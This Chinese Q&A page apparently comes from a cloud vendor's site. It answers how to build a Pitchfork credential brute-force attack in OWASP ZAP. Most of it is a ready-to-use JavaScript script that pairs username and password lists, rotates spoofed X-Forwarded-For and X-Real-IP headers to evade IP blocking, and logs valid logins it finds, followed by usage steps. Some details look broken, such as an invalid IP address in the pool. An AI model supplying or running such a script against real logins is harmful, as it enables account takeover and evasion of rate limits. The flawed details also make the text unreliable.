You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何基于OWASP ZAP的Fuzzer JS模板编写Pitchfork攻击脚本及双字段攻击?

基于OWASP ZAP的Pitchfork暴力破解脚本实现(适配IP封锁场景)

一、双字段Pitchfork攻击的核心逻辑

Pitchfork模式的核心是两个payload列表按索引严格一一配对——第一个用户名对应第一个密码,第二个用户名对应第二个密码,完全不会产生交叉组合(这和Cluster bomb的笛卡尔积模式有本质区别)。实现的关键是在脚本中维护一个全局计数器,每次请求取对应索引的两组payload值,替换到目标字段即可。

二、编写适配IP封锁的Pitchfork攻击脚本

以下是可直接复用的ZAP HTTP Sender JS模板脚本,已集成Pitchfork配对逻辑和IP封锁绕过机制:

// 1. 定义Pitchfork配对的payload数组(可替换为从文件读取)
const usernames = ["carlos", "admin", "test_user"];
const passwords = ["123456", "admin@123", "test_pass"];
// IP池:用于绕过IP封锁,按需扩展
const ipPool = ["192.168.0.101", "10.1.0.202", "172.16.3.303", "203.0.113.4"];
// 全局计数器:记录当前请求的payload索引
let requestCounter = 0;

// 处理请求:替换字段+伪造IP头部
function processMessage(msg, initiator, helper) {
    // 超出payload长度时停止Fuzz
    if (requestCounter >= usernames.length || requestCounter >= passwords.length) {
        helper.stopFuzz();
        return msg;
    }

    // 替换请求体中的用户名和密码(根据实际请求格式调整)
    let reqBody = msg.getRequestBody().toString();
    // 场景1:表单格式(username=xxx&password=xxx)
    reqBody = reqBody.replace(/username=[^&]+/, `username=${usernames[requestCounter]}`);
    reqBody = reqBody.replace(/password=[^&]+/, `password=${passwords[requestCounter]}`);
    // 场景2:JSON格式({"username":"xxx","password":"xxx"})
    // const reqJson = JSON.parse(reqBody);
    // reqJson.username = usernames[requestCounter];
    // reqJson.password = passwords[requestCounter];
    // reqBody = JSON.stringify(reqJson);
    
    msg.setRequestBody(reqBody);

    // 伪造IP头部,绕过IP封锁
    const fakeIp = ipPool[requestCounter % ipPool.length]; // 循环使用IP池
    msg.getRequestHeader().setHeader("X-Forwarded-For", fakeIp);
    msg.getRequestHeader().setHeader("X-Real-IP", fakeIp);

    // 计数器自增
    requestCounter++;
    return msg;
}

// 处理响应:识别登录成功的请求(可选)
function processResult(msg, initiator, helper) {
    const respBody = msg.getResponseBody().toString();
    // 根据目标网站的成功响应特征调整判断条件
    if (respBody.includes("登录成功") || respBody.includes("Welcome") || respBody.includes("Dashboard")) {
        helper.log(`找到有效凭据:${usernames[requestCounter-1]} / ${passwords[requestCounter-1]}`);
        // 可选:找到有效凭据后停止Fuzz
        // helper.stopFuzz();
    }
    return msg;
}

三、脚本使用步骤

  1. 在ZAP中找到目标登录请求,右键选择「Attack」→「Fuzz...」
  2. 切换到「Payloads」标签页,点击「Add」→ 选择「Script」类型,再点击「New」
  3. 选择「HTTP Sender Script」模板,将上述代码粘贴进去,根据你的实验场景修改:
    • 替换usernames和passwords数组(或改为从文件读取,见下方补充)
    • 根据请求体格式切换表单/JSON替换逻辑
    • 调整ipPool或IP头部字段(部分网站可能检查X-Forwarded-For之外的头部)
  4. 无需添加其他Payload,直接点击「Start Fuzzer」运行攻击

补充:从文件读取Pitchfork payload

如果你的payload存在本地文件中,替换脚本开头的数组定义为以下代码即可:

// 读取用户名文件(每行一个用户名)
const usernames = zap.getFileContents("/绝对路径/usernames.txt")
    .split("\n")
    .filter(line => line.trim() !== "");
// 读取密码文件(每行一个密码,需与用户名文件行数一致)
const passwords = zap.getFileContents("/绝对路径/passwords.txt")
    .split("\n")
    .filter(line => line.trim() !== "");

关键注意事项

  • 确保用户名和密码文件的行数完全一致,否则会出现部分请求无法配对的情况
  • 如果目标网站的IP封锁基于真实出口IP,仅修改头部可能无效,需配合ZAP的代理池使用
  • 可在processResult函数中自定义成功响应的判断规则,快速定位有效凭据

内容的提问来源于stack exchange,提问作者boo123

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.27 15:45:47